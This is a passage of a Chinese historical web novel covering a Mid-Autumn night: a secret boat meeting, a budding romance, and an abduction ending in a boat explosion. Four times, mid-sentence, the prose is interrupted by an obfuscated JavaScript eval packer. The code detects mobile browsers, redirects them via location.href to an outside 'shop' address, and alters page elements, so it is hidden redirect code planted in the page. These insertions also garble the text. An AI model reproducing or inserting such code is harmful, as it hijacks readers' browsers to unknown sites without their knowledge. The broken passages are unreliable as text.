她没在意，用皂荚反复洗了一遍又一遍，直到那方绢帕恢复素净。她拧干水分，将它晾在窗边。 她重新给自己手心上了药，换了干净的绷带，忽然想到一个问题—— 这只手帕，她该怎么处理？ 她趴回床上，冥思苦想：若将手帕还给石举兰，依他放荡的性子，定不会珍惜；可若还给小诗，又怕伤了她的心……早知如此，为何要多管闲事！ 思绪纷乱间，她把头埋进今日的衣物里，布料柔软，上面残留着一股淡淡的沉香，让她渐渐眼皮沉重。 罢了，先藏起来，莫让小诗发现便是...... 一夜无梦。 中秋当天，宋府冷冷清清。 宋谨给需回家的侍从们都准了假，自己则起了个大早来练剑，练完剑，便一直待在匠作坊里，自顾自钻研着机关小玩意。 有时眼睛累了，他出来躺在秋千上小憩，偶尔看见苍仁曲坐在自己房门前，核对着账本，脚边还堆着几册，看完了，她又起身去书房取来新的。 抬眼便能望见彼此的距离，宋谨不使唤她，苍仁曲也不找他。二人互不打扰，沉浸在各自的世界里。 他闭目养神，觉得这样也好。 没有交集，反而是最妥帖的距离；有了交集，随之而来的恩怨情仇像失控的洪流。 他惯于掌控，对无法预料的事情始终心存戒备，尤其对于感情，他永远算不准人会为情付出何种代价。甚至于，他连自己的心绪都尚未参透。 “公子，公子醒醒。”苍仁曲的声音蓦然闯入他意识模糊的世界。 一觉醒来，她近在眼前。 她从房里取了外袍披在宋谨身上：“天色将晚，起风了，公子当心着凉。” 宋谨从秋千上坐起来，脑袋还未清醒，下意识扣住她正要收回的手腕。 苍仁曲：“？” 宋谨愣了，一时不知该说什么，盯着她缠在手上的绷带：“手怎么样了？” “多亏了公子的伤药，已经结痂了。”话音刚落，宋谨立即松开了手。 他敛衣自秋千上起身，简短吩咐道：“今晚去西市，晚饭在外头解决了。” 苍仁曲望着他孤身一人的背影，轻声提醒道：“您一个人吗？” 宋谨语中带笑：“放心，不会亏待了你。” “啊……？不，我的意思是，你不叫上几个朋友去吗？”苍仁曲追上他，两道背影在落日下并肩而行。 宋谨脚步未停，淡然道：“这个时辰，友人皆在家中团聚，不便打扰。你若有自己的安排，我便换人随行。” 苍仁曲连忙摆手，陪笑道：“我在这边举目无亲，蒙公子不弃，愿带我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103040|195760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同去，自当从命。” 宋谨：“……” 那晚，宋谨带她去了西市一家雅致酒楼。乐音清越，厢房静谧，无人叨扰。 这是苍仁曲来到秀止后吃过最奢华的一餐，但她心心念念着与萧择天的船头之约，满桌山珍海味在前，味同嚼蜡。 宋谨见她筷子抵着下巴，盯着窗外出神，忽然开口：“在想什么？” 苍仁曲内心一凛，立马收敛神色，胡乱朝窗外一指，故作好奇问道：“公子，江上那艘船舫好生气派，这是什么船？” 宋谨随之望去，神色平静：“绮罗舫。西市最繁华娱乐之地。” 苍仁曲眼底充满向往：“西市好玩东西这么多，如此热闹，叫人流连忘返。” 宋谨目光掠过窗外喧嚣的灯火，神色疏离于此处格格不入：“是啊。即便无家可归，潇洒一场，待中秋过，无法团圆的苦楚也就淡了。等会儿你想玩，不必陪我，自行前去便是。” 苍仁曲按下心头雀跃，面上还是得先关照宋谨的行程：“公子，您接下来要去哪里？” “出门左拐十步，有家戏院。我包了梨园的场子听戏，不喜人多，不须人随。你自行安排，子时再见。” “是。” 月升高头，西市人声鼎沸。 宋谨来到一家没有低调小院，上方牌匾仅题“怀岁”二字。院内戏班早已开演，丝竹声袅袅传来。 今晚他照例包了场，戏院老板亲自迎出，热情招呼道：“谨公子，您来了。一切照旧，您点的戏都已安排妥当。” 宋谨微微颔首：“嗯，那也还是老样子，我听戏时，不喜人扰。” 戏院老板应得干脆：“您就放心吧！” 步入包间，堂室清雅，沉香满盈。幕帘之外，戏影朦胧，戏乐悠扬。 宋谨尚未落座，先唤了一声：“阿曲？” “公子是找您的侍从？方才您一进门她就走了。需要的话，我即刻差人找她回来。”戏院老板回应道。 宋谨默然片刻，神色平静落座，沉声道：“……不必。” 戏院老板不再多言，恭敬退下。 宋谨独坐厢内，戏音缭绕。 苍仁曲心急如焚赶到融江边。 融江之上，船只络绎，灯火辉煌，十有八九皆驶向绮罗舫。浩渺灯河之下，找到萧择天的船，简直难如登天。 她沿江徘徊、愁眉不展之际，一道熟悉的声音穿透喧嚣，自身后传来。 “阿曲，可算找到你了。” “阿兰？”苍仁曲又惊又喜，“你怎么知道我在这？” 石举兰从容一笑：“打探到了谨公子的行踪，知道你随行在此，我奉萧大人之命，特地寻你来了。” “萧大人现在在哪？” 石举兰递给她一块令牌，指了个方向：“拿着这个，瞧见那艘悬着红灯笼的船了吗？向船夫出示令牌，他自会送你去见萧大人。” 苍仁曲利落接下令牌，点头道：“多谢。” 石举兰不忘调侃道：“瞧你心急的样子，简直跟萧大人心有灵犀。快去吧，别让他等急了。” “……” 正事要紧，苍仁曲还以一个礼貌微笑，朝着他指的方向上了船。 石举兰总算办完了差，踌躇着准备潇洒一夜，谁料一转身，正见一道驻足的身影，她的视线刚从那只船上收回来，不偏不倚，恰好同他对视。 “小诗？” 22. 高灯船聚 苍仁曲乘船，穿行于融江大大小小的船只，靠近同样悬着红灯笼的客船。 客船其貌不扬，静泊于江面。 一名体格健壮的“船夫”把守船头，是上次宴会随行萧择天的侍卫。 苍仁曲登上船，向他出示令牌，“船夫”检查后，默然递还给她，随即掀开身后的船帘放她进去。 船屋内，萧择天吃着月饼，眼皮不抬一下：“真够磨蹭，别以为有了新主，就忘了自己的任务。下回再让我等，我直接派人抓你过来。” 这话听得苍仁曲心中窝了火，又不是她本意如此。为了赶来见他，那顿晚宴她都没好好吃，过来了还遭到一顿数落，实在无法容忍。 她面容和气坐到对面，手支桌案，眨着大眼睛直勾勾盯着他看，一言不发。 萧择天耳朵微红，月饼不嚼了，回瞪她：“你看我做什么？” 苍仁曲突然眯起眼睛，笑呵呵道：“手下败将，你带出来的虾兵蟹能有什么本事？凭那点三脚猫功夫，也想拿下我？做梦。” 萧择天咂了一口，怒将吃剩的月饼对准苍仁曲狠狠砸了过去。 意料之中，她躲开了。 “有这闲工夫气我，看来你调查得很有眉目了吧，最好是真有用的消息。”萧择天压抑着怒气，咬牙切齿道。 苍仁曲偏不如他意，讥讽道：“有这闲工夫在这游船吃月饼，看来倒卖军需给倭寇的案子，大人顺利了结了吧。” “啪！”萧择天怒拍桌案，“我闲？我特地赶回秀止与你会面，忙得连口热乎饭没吃上，只能啃两个月饼填填肚子，跟你交代完，就得连夜动身去处理那摊破事！” 见他气急败坏，苍仁曲心中顿觉舒畅，面上却故作关切：“萧大人息怒。承蒙您如此看重，但愿我查到的消息，不会辜负您的厚望。” 萧择天重重“哼”了一声，侧过身子抱臂，赌气似的不肯看她。 苍仁曲道：“这几日，谨公子命我核对‘八珍窖’的账目。此窖名义上为制作玉琼羹的官窖，每一笔账目都会专门抄录成副本呈送到宋府存档。” 萧择天凝神侧听：“八珍窖？竟然和宋家有关……那些账目有什么可疑之处？” 苍仁曲挠了挠头：“账目清晰合规，毫无破绽。我一非商贾，不懂经营之道；二非官吏，不明官场标准，看不出什么不出门道。” 萧择天耐心敲点她：“例如，账上可有除了主营之外的收支？或是有无大额客商经常往来？” “你这么一说，让我想想……哦！账目上确实有一家粮商经常与之往来，叫‘颐丰粮行’，每月至少交易数十万两，几乎吞掉了近半流水。” 萧择天：“颐丰粮行？！” “怎么了？” 萧择天解释道：“倭寇的军需，便是从颐丰粮行的商道截获的。吴任称对此一无所知，都督府接到上报后至今没有动作。这件事迟迟查不下去，应该是上头有人保着他。” 苍仁曲：“吴任？！” “怎么了？” 苍仁曲解释道：“你父亲跟我提过，八珍窖前身名为‘陈珍窖’。陈珍窖的老板也叫吴任，天底下有这么巧合的事情吗？” “陈珍窖？那不是……”萧择天话音戛然而止，脸上掠过一丝复杂的神色。 苍仁曲明白他为何沉默，无非是不愿当她的面揭露心中旧伤，豁然道：“萧大人，一码归一码。您交办的差事是查清宋府的私产，我父母的旧事……无关紧要。” 气氛微妙的沉默一会儿。萧择天不好再说什么，回到正题：“情况我都了解了。八珍窖之事我回头呈报萧良山。至于吴任这个人，我会盯紧着他。行了，没有其他事情，你可以回去了。” 苍仁曲纹丝不动，问道：“您接下来，还要继续处理公务？” 萧择天眼露不耐：“不然呢？” 苍仁曲再次睁着水汪汪眼睛直视他，这一次好言劝道：“萧大人，在外为官，本来一年也回不了几次家。您家中有人等候，这中秋团圆之意，应是最该珍惜的” “回家？岛州倭患未除，我良心难安。小时候，萧良山也总不回家，只有寄往家的信。信里说，他若撂了挑子去团圆，便有千万家难以团圆。我曾不解，甚至怨愤，以为这是他不想着家找的借口罢了。既是天下之事，为何重担只落于他一人之身？其他人去哪了？如今，我也成了那个写信的人，说着与他一般无二的话。那道无解之问，从他的，变成了我的。” 萧择天一边说着，望着天边明月，眼神里沉淀着难以言说的情绪。 露从今夜白，月是故乡明。 圆月高悬枝头，树影婆娑。小诗站在临水石阶上，望着天上的满月，双手合十轻声祷念：“月儿真圆，希望家人平平安安，无灾无祸。” 石举兰并肩而立，望着她被月光勾勒的侧脸，柔声问道：“小诗，你的家乡在什么地方？” 小诗对上他的目光，面露一丝忧色：“我家在鱼镇，这些年倭寇侵扰，那里难免受了波及……家里来信总说一切安好，可我哪里放得下心？想着再多攒些钱，就把他们接来秀止。” 石举兰自然而然轻抚她的后脑：“若家里有事需要打点，尽管与我说，我在秀止多少有些门路，还是能帮上一些忙。” 小诗羞红地别过脸去：“以后的事还远着呢，怎好意思劳烦你？而且……带你面见家人，对我而言，并非等闲之事。” 石举兰微微低下头，呼吸几乎贴近她的脸庞：“你的手帕我都收下了，怎么知道未来说不定呢？” 小诗感到有些热，目光胡乱瞄着江上船只，急忙转移话题：“你、你方才说阿曲游船去了？也不知她几时能回，我还想带她一起去诗会，眼看快结束了，不知道能不能赶得上。” 石举兰声音放软，毫不掩饰委屈道：“小诗，我们难得独处，再多陪我一会好不好？” 小诗热昏了头脑，只听见自己喃喃答应下来：“……都依你。” 石举兰含笑从袖中取出一页书笺：“前面我在诗会上瞧见几句好诗，特地抄录下来。我念给你听，可好？” 小诗看不到书笺上的内容，好奇道：“哦？你念吧。” 石举兰意味深长一笑，振振有词念道：“石案铺笺理旧辞，举毫对镜描眉峰。兰因絮果皆不问，唯愿君心同我心……不知在下得到哪位才女的芳心暗许，竟有幸在诗会上赠我这样一首藏名诗？” 小诗红着脸，扑向他要夺走他手里的书笺：“你既知道，还当面念给我听！坏人！” 石举兰笑得开心，扬手向后一抬，却不料打到路过的人。 “哎哟！当心！” 石举兰连声道歉。被打到的女子扶正发间的梅花簪，瞥见站在他旁边的小诗，下意识收回目光，紧忙拉着身旁的女子加快脚步离开：“快走吧，可别扰了人家约会。” “洛姐，我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103041|195760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们方才聊到哪了？哦！偃人的材料！我当初实地考察时……”与她同行的女子滔滔不绝，声音跟着二人远走的距离，越来越模糊。 “我好像在哪见过她？”小诗望着其中一名女子的背影，正努力回想着，突然一张书笺挡下来，糊住了她的视线。 “阿兰！”她当即转身，恰好撞进了他的怀里，慌忙抬眼一望，那张俊美的容颜近在咫尺，令她不禁恍惚一瞬。 石举兰握起她的一只手，放在自己心口：“小诗，你可知，当我读着你的诗的时候，心里想着什么吗？” 他的心跳，快得吓人。连带着她的心跳也不自觉加快着，她弱弱问道：“我不知。” 他的呼吸慢慢靠近，语气慢慢放轻：“我想着，下次月圆，我也想与你一同度过。” 小诗呼吸错乱，不自禁闭上眼睛，胡乱点了头：“嗯。” 树影之下，他吻了她。 她与他度过了第一次月圆之夜。 圆月倒影在江面，江流随之涌动。 江船之上，苍仁曲听完萧择天一席话，有所触动，心中另有一番盘算：“萧大人，您格局高，心中装着大家，不像我只念着小家。不知年关时，能否向你父亲通融一下，放我回家一趟？” 萧择天认真想了半天，最后拒绝干脆有力：“不能。刚才那些话，你全当我在放屁。” “为什么不能？”苍仁曲耐着最后一点性子问道。 萧择天态度傲慢：“没有为什么。替我办事，就别妄想自由。就算你闹到萧良山面前，我也第一个站出来反对。” 话音一落，苍仁曲毫无征兆扑身过来，将萧择天狠狠撞倒在地！ 船身剧烈摇晃一番。帘外的侍卫招呼道：“大人，我下船了？” “下什么船！回来！”萧择天的怒吼被压得变调。苍仁曲的胳膊死死卡住他的脖颈，手劲持续加重。 侍卫无语，站在船头稳固着船身。 萧择天使劲挣扎着，苍仁曲几乎不为所动，贴在他耳边说道：“萧择天，狠话撂下太早，是会逼人反水的。萧良山于我有救命之恩不假，但不代表我心甘情愿为你们当一辈子牛马。” 萧择天伸出一只手想要抓她，手腕被她反拧，“砰”地一声砸向地面。 他气急反笑，满眼轻蔑低声道：“苍仁曲，事实如此，你心不甘情不愿，你都没有选择。无权无势，无声无望，连回家都得靠他人施舍。空有一身本事又如何？文武状元又如何？洗不清污名，见不得光，这就是你的命！” 苍仁曲心头一悸，她愣神的瞬间，萧择天伸头猛然撞开了她，随即身形一拧，反将她重重压倒在地。 船身又一阵摇晃。 “萧择天！你！”苍仁曲挣扎着，试图伸手再度掐他脖子，而他早有预料般精准截住手腕，死死扣在半空。 萧择天捏住她的肩膀，坏笑着：“就你会打嘴炮？这次可算让我扳回一局。” 苍仁曲怒目圆睁：“我定会让你付出代价。” “我也就只能容忍你这般无法无天顶撞，要是换个人，今生今世都不得翻身。” “萧大人，你压着我，我可翻不了身。” 经她一提点，萧择天将她字面意思理解过了头，从中尝到了权力的甘美。他情不自禁欺身压下，将她笼罩于阴影里，带着戏谑的笑：“中秋快乐，苍仁曲。” “啪！”一记响亮的巴掌扇醒了他。 23. 绮罗舫 萧择天脸上一阵火辣，面目狰狞想教训她一顿，却在看到她瞠目落泪的那一刻愣住了。 “又哭？你装什么……”他话音未落，迎面遭来一记拳头。 船屋内在无声斗争，整条船随之剧烈摇晃。侍卫竭力稳着船身，内心一阵无语。 半晌，船帘掀动，苍仁曲低着头慢慢走出。侍卫见状，取下红灯笼，向江心不远处轻轻一晃。对岸的船夫会意，小船悠悠荡来。 “姑娘，在此稍等片刻，船夫稍后就来。”侍卫挂回灯笼。昏红的光，恰好映亮苍仁曲那双通红未褪、楚楚可怜的眼眸。 “有劳了。”等船的间隙，苍仁曲就着昏暗的灯光，以水为镜，理了理略显散乱的鬓发，状似无意地转向侍卫，轻声搭话，“军爷，我们相逢数次，也算有缘，还不知该如何称呼您？” “我叫阿荣。”侍卫不自觉放轻语气，答完后，像是鼓起勇气轻声反问道，“不知姑娘如何称呼？” “唤我阿曲便好。”苍仁曲眼神温柔，唇边的笑意深了几分。 阿荣望了一眼身后的船帘，压低声音劝道：“阿曲姑娘，萧大人确实有些暴脾气，生平没几个姑娘敢靠近他，但……能被他瞧上是你的福分，多顺着他些，能少受点委屈。” 苍仁曲轻捻着颈边的一缕发丝，声音夹杂一丝苦涩：“这份委屈何时是个头？我不过一个孤女，无亲无故，身若浮萍。萧大人不光家世显赫，是堂堂武举状元、大都督府司马。从一开始，他强迫我做这无名无分的交情。于他而言无足轻重，可这份‘福气’，我实在无福消受。” 阿荣听出她话中悲凉，心下恻然：“阿曲姑娘，若有委屈，大可先告诉我，我愿尽力周旋。但千万别当面违逆萧大人。大人的手段，您当知晓。”话至此处，他的视线在她脚踝处短暂停留，暗示昭然。 对面的船到了，苍仁曲登上船，与阿荣作别：“好，谢谢你阿荣，你的体贴……我会铭记于心。” “阿曲姑娘慢走。” 苍仁曲坐船远去，阿荣在帘外轻声请示：“萧哥，我们是否启程？” 船屋内，萧择天擦着鼻血，刚被苍仁曲揍完一顿，浑身无处不痛，窝火道：“刚才为什么不进来帮我！你跟她一伙的吗！” 阿荣语气诧异：“我进来？！我进来掺和你俩干什么？？？” 萧择天怀疑他耳朵出了问题，正欲开口斥责，立马想到除自己以外，几乎无人知晓苍仁曲身手多么可怕。在外人看来，他倒像是那个欺凌弱小的人！ 苍仁曲压根不是弱小！他压根打不过她！ 萧择天强压怒火，厉声警告：“下次若再听见里头有动静，立刻进来！” 阿荣怀疑他脑子出了问题，苦口婆心劝道“萧哥，我敬你是哥，可也不是什么场面都得我在吧？难不成以后洞房还要我来给你把关？对姑娘动粗本就失了体面，人家不从，您放温柔些便是，强扭的瓜不甜啊。” 萧择天的脸烧透了，原来这家伙不来帮忙，竟是以为他和苍仁曲在偷情！ 他又恼又羞，直接恼羞成怒，拖着酸疼的手臂将一盏茶盏狠狠扔了出去，扔过了头，茶盏砸进水里。 “还说你们不是一伙的！” …… 苍仁曲坐船，独自盯着水面发呆。 “苍仁曲，事实如此，你心不甘情不愿，你都没有选择。无权无势，无声无望，连回家都得靠他人施舍。空有一身本事又如何？文武状元又如何？洗不清污名，见不得光，这就是你的命！” 萧择天攻击她的话，像一把寒刃，戳中她最沉痛，永远无法愈合的旧伤。 独在异乡为异客，每逢佳节倍思亲。 失家之痛，丧亲之痛。向来要强的她，当时用尽所有力气，没有喊一声疼。 可眼泪背叛了她，在她倒下之时，不争气地流出来。 未经他人之痛，反以玩笑嘲之。 萧择天的笑，令她作呕。 算她方才手下留情，还是揍得轻了。 离子时还有几个时辰。 船只靠岸，石举兰已经不见人影。 苍仁曲上岸，随波涌入灯火人潮之中。 江心的绮罗舫依旧耀眼，无论站在哪个角落，一抬眼总能望见。她在萧武署时，偶尔听同门提起这地方。 据说那是处人人向往的销金窟，是潇洒快活、纸醉金迷的温柔乡，需要提前好些日子才能订到位子。约上一次，结伴三五好友，在里面彻夜不归。 倒让她回想起来，许义歌是个喜欢寻欢作乐的人，常常与狐朋狗友在外流连。 她闲来无事的时候，以跟踪许义歌行踪寻乐，久而久之，对需要限制的风月场所摸出一套独门潜入经验。 越是需要门槛的地方，她越想走不同寻常路一探究竟。 绮罗舫与江岸五座阁楼之间，连着数道横跨江面的巨型彩绳。 苍仁曲在小摊买了张狸猫面具，戴上之后，潜入暗处，纵身一跃，攀上一座阁楼的屋檐，再一记轻功，轻盈落在彩绳之上。 彩绳系着串串铜铃，每一步踏响清音，在夜色清脆回荡。 行至中途，铃声忽然骤乱，绳身随之一沉，而这多出的重量正来自她身后。 “离开。”背后传来一声冰冷的警告。 “……” 出于被抓包的心虚，苍仁曲尽管带着面具，硬是没敢回头。 根据她独门经验，接下来不管发生什么—— 跑！ 她头也不回往前冲！铃铛随之激鸣，背后那人紧紧追了过来！ …… 绮罗舫三楼。 此处能俯瞰西市整个夜景，宾客云集，凭栏赏景，笑语不绝，一派热闹升平。 “明老板，听闻前些日有位大人物包下了整个三楼，我与他有些交集，最近却一直联系不到他。您消息灵通，不知能否代为打听一二？”男子体态丰腴，饮过酒后脸上泛着红晕。他凑近身旁白衣翩翩的明老板，言辞间透出几分焦灼。 明老板背手而立，目光眺望西市楼景，语气里带着若有似无的打量：“怀智兄，令叔父乃是交州最大的粮商。网罗四方，怎会有你寻不到的人？” 怒气混着醉意上涌，吴怀智重重一拍轩栏：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103042|195760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唉！明老板，你也是做生意的。生意往来，跑单赖账的事常有！我叔父最近生意路上出了岔子，被都督府盯上了。就是这人介绍的生意！现在叔父让我赶紧给个交代。找不到人，急得我是两头难办啊！” 明老板摇了摇头，一脸难为情：“怀智兄，咱们交情归交情，生意归生意。我虽为绮罗舫老板，但这位贵客极为看重隐私，包场时半个字都不肯透露，如果贸然打探，万一冲撞到了贵客，我这生意还做不做了？” 吴怀智激动抓住栏杆，死死盯着他：“明老板！你背后是明家！是万邦王后的母家！只要你明家想查，谁敢拦？谁又能拦！” 明老板叹了口气，婉拒道：“怀智兄太抬举我了。我虽是明家子弟，却是旁系远支，人微言轻，还没有只手遮天的本事。既是生意纠纷，以怀智兄的人脉手腕，何必妄自菲薄，定能妥善解决。” 吴怀智一手压在他肩头上：“明老板，绮罗舫我常来常往，是老主顾了，您怎么也得表示表示，给个面子啊。” “咚！！！”头顶屋檐传来一声重响。 “什么声音？”明老板当即甩开吴怀智，遁声寻去。 三楼众人侧目围观，一个身影忽然从屋檐滚落下来！ 众人惊吓出声，那道身影却在半空敏捷地抓住檐柱，旋身一跃，稳稳落地。 他面无表情站定在人群中央，一言不发。 方才他紧追苍仁曲，顺着彩绳攀上绮罗舫的屋檐，就在他险些得手之际，竟被对方狠厉一蹬，踹了下去！ 此时的苍仁曲戴着面具，藏在明老板与吴怀智后面，悄然观望局势。 其实她想走也走不掉。 绮罗舫守卫反应极快，转眼间三楼已被围得铁桶一般，切断了所有去路。 吴怀智一见那人眼蒙黑布、腰佩银纹短刃，当即骇然色变：“盲卫？！曲直公子的盲卫怎会在此？！难道……公子他本人也来了？！” 明老板眉目一皱，向他投去意味深长的眼神：“曲直公子？怀智兄，你怎么知道如此清楚？莫非你与广厦楼有交集？” 听到二人的对话，苍仁曲心中泛起疑惑。 盲卫？曲直公子？他们与广厦楼有何关联？ 吴怀智急忙改口，连声音都变了调：“没有！绝对没有！我醉了！我、我喝多了胡说罢了！我只知道这人是广厦楼的走狗！明、明老板，快抓住他！别让他跑了！” 吴怀智的嗓门极大，“广厦楼”三字如惊雷落地，众人闻言无不相顾失色，现场顿时像炸开了锅一般，引起不小的骚动。 明老板环顾四周躁动的人群，目光沉沉落在吴怀智脸上：“怀智兄，话出口前可要想清楚。此人来自广厦楼，你确定这并非酒后胡言？” 吴怀智忽然灵机一动，坦言道：“明老板若心存疑虑，不如将此人交给吴某。待我审个水落石出，是非曲直，自有分晓。” 明老板二话不说，向守卫们使了个眼色：“来人，拿下他。” 出人意料的是，那盲卫自始至终都未曾抵抗，也未发一言，如同一具没有灵魂的傀儡，任由守卫们将他押解下楼。 24. 盲卫 苍仁曲混入人群，随之来到一楼。 一楼主要是吃喝的酒楼，堂内富丽堂皇，高朋满座，声色喧哗，几乎无人留意那队押着盲卫的异动。 她悄然尾随其后，只见守卫将人押出后门，门扉上悬着“闲人止步”的禁令。 她悄悄从最近的窗户翻了出去，险些撞进正躲在窗后亲热的小俩口怀里。 三个人都吓了一跳。 女子“哎哟”一声：“有门不走，你翻什么窗呀！” 男子神色紧张搂住她转身：“看她这样，准没干好事。快走快走，别被我娘子撞见了。” 苍仁曲尴尬说了声“对不住”，匆匆穿过一条回廊，向后门走去。 此时明老板与吴怀智走了出来。 为免引人侧目，她假装散步，在离二人不远处停下，倚着栏杆吹风，目光落在灯辉相映的江面。 “明老板，今夜生出这等事端，实在晦气。您放心，我将此人带回去严加审问，若有同伙混入舫中，必定知会您。”吴怀智道。 明老板刻意压低声音，语气中透出不安：“怀智兄，我胆子小。广厦楼敢刺杀太子，若此人真是他们派来的，附近还藏着同伙，我这小小绮罗舫，怎担得起这般牵连？” 吴怀智呵呵一笑：“明老板，您也知道，我叔父与太子殿下关系匪浅。先前我托您办事，您再三推脱；如今事到临头，反倒怕惹祸上身了？不过俗话说得好，清者自清。您既然从不做亏心事，那肯定惧鬼来敲门。” 接送吴怀智的船已候在舫边。他一个眼神，侍从便从绮罗舫守卫手中利落地接过盲卫，押解上船。 明老板听完他方才所言，面色铁青，只能强撑最后的体面，目送其离开。 如何离开绮罗舫，成了苍仁曲必须面对的一个问题。 绮罗舫的游船专供接送宾客，往来均需查验号牌。 最简单的法子——偷号牌。 奈何苍仁曲做不到，也不敢。本来她偷摸混入的行径就为人不齿，还差点还让人抓到。再作行窃之事，实在有违家中教诲。父母在天之灵看到，怕要气得从棺材里跳起来教训她这“梁上君子未遂”。 最老实法子——还是爬屋檐走彩绳出去吧。 她重新回到三楼，楼上的人少了大半，因为广厦楼的不速之客，让宾客们赏景的心情都没了。 她爬回绮罗舫的屋顶。 铜铃杂乱作响，五道彩绳的另一端，矗立着数道人影！如同夜里栖枝，待猎伏击的黑鸦。 情势不对，她立即躲进檐角暗处，谨慎观察。 那些人装束与那盲卫惊为相似，同样眼蒙黑布，单手揣着腰间匕首，刃口在月光下泛起冷冽的银芒。他们所有人的朝向，从四面八方，冰冷地锁定住了载有吴怀智那只船。 ...... 黑色眼布如漂泊无依的浮萍在水面荡漾，任凭来往的船只一次次撞开、碾过。 吴怀智立于船头，将一柄银色匕首举至眼前，眯眼细细端详，转身将它对准了盲卫：“小子，老实交代，曲直公子现在何处？到底在不在绮罗舫？” 盲卫被两名侍从死死按在船板上，他闭着双眼，斩钉截铁道：“不在。” 吴怀智居高临下质问道：“那你为何会出现在绮罗舫？” 盲卫只简短交代了两个字：“盯人。” 吴怀智猛然揪起他的衣领，怒不可遏吼道：“盯人？我这都火烧眉毛了！他曲直公子还有闲心盯人！那批军需由你们广厦楼全程护送，怎会被官军截获？肯定是你们走漏了风声！除了他？还能有谁！” 船头上的琉璃柱青光刺眼，照在盲卫脸上，他紧眯着双眼，神色痛苦，却始终未发一言。 吴怀智一怒之下，扬了他一耳光：“快说！” 见盲卫始终不答，吴怀智失了耐心，示意侍从轮流上前掌掴。 巴掌声狠厉而起，经久不息，响彻船外。船只在江面徐徐穿行，正从一道彩绳下穿过，绳上静立若干名盲卫，对船里的动静置若罔闻，静立如初。 “滴答——”一滴、两滴鲜血落在船面。 盲卫跪在地上，抬手拭掉唇鼻间的鲜血，脸边掌风将至，他精准钳住侍从的手腕，猛然一绞，对方立刻发出一声凄厉惨叫。 “啊——！” 另一名侍从见情况不妙，欲将其制服。盲卫袖风拂动，一枚短针飞出，电光石火间精准钉入他的脖颈。对方僵直一瞬，轰然倒地，颈间只余一点细如梅蕊的红印。 盲卫闭目起身，匿于船影之中，声如寒铁：“闻血开刃，君请安息。” “小…小子！你知道我是谁吗？你知道我叔父是谁吗！你敢动我？吴家让你吃不了兜着走！”吴怀智逞强叫骂，人已连滚带爬地扑向船夫。 船夫：“？” 吴怀智一脚踹飞船桨，把匕首往船夫手里一揣，一把将他搡了出去：“你、你去！替我拦下他！快护我周全！” “啊？啊！”船夫慌了神，方才他目睹几人动粗，只盼着明哲保身，佯装未闻继续摇桨，岂料转眼竟被推出去垫背！ 眼见盲卫掀帘而出，他吓得魂飞魄散，慌忙将匕首扔在地上。 盲卫一脚将船夫踹下了船。 “噗通！” “！”巨大的水花引起苍仁曲的注意。 与此同时，周围的彩绳跃动，铜铃杂乱，绳上人影耸动，伺机待发。 她的目光急转回江面，只见船夫水性了得，奋力游上岸之后，水上又传来一声“噗通”！又有人落了水！ 吴怀智在水中胡乱扑腾，连声尖叫：“救命！救命啊！” “嗖！嗖！嗖！”漫天银刃刺破夜空，将那只船扎得千疮百孔，而每一把刀柄都系着绳索，绳索的另一端，正握在彩绳上那些盲卫手中。 “叮铃铃！”铜铃剧烈摇晃。盲卫倾巢而出，如同夜间捕食的夜鹰，目标一致扑向正在水上挣扎的猎物——吴怀智！ 来往经过许多船只，听见呼救，路人纷纷出来围观，恍惚间，众人目光暗了一瞬。紧接着，一群黑影从天而降，将吴怀智从水里抓了起来。 没等他们看清来的人是谁，钉穿船身的银刃齐齐抽离，随绳索呼啸而荡，险些扫中围观者面门，惊得人群连连后退。 “轰！”的一声，那只船炸了！ 巨大的动静吸引走了所有人目光，木屑飞扬，水面漂浮着两具焦尸。 那群黑影和与方才落水之人，早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103043|195760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已不见踪影。 螳螂捕蝉。 苍仁曲目睹全程，目光一刻没有放过那群盲卫。船只爆炸的瞬间，她清楚地看到他们挟着吴怀智，遁入了最近一座阁楼。 那阁楼漆黑无光，在灯火通明的西市中显得极为扎眼。 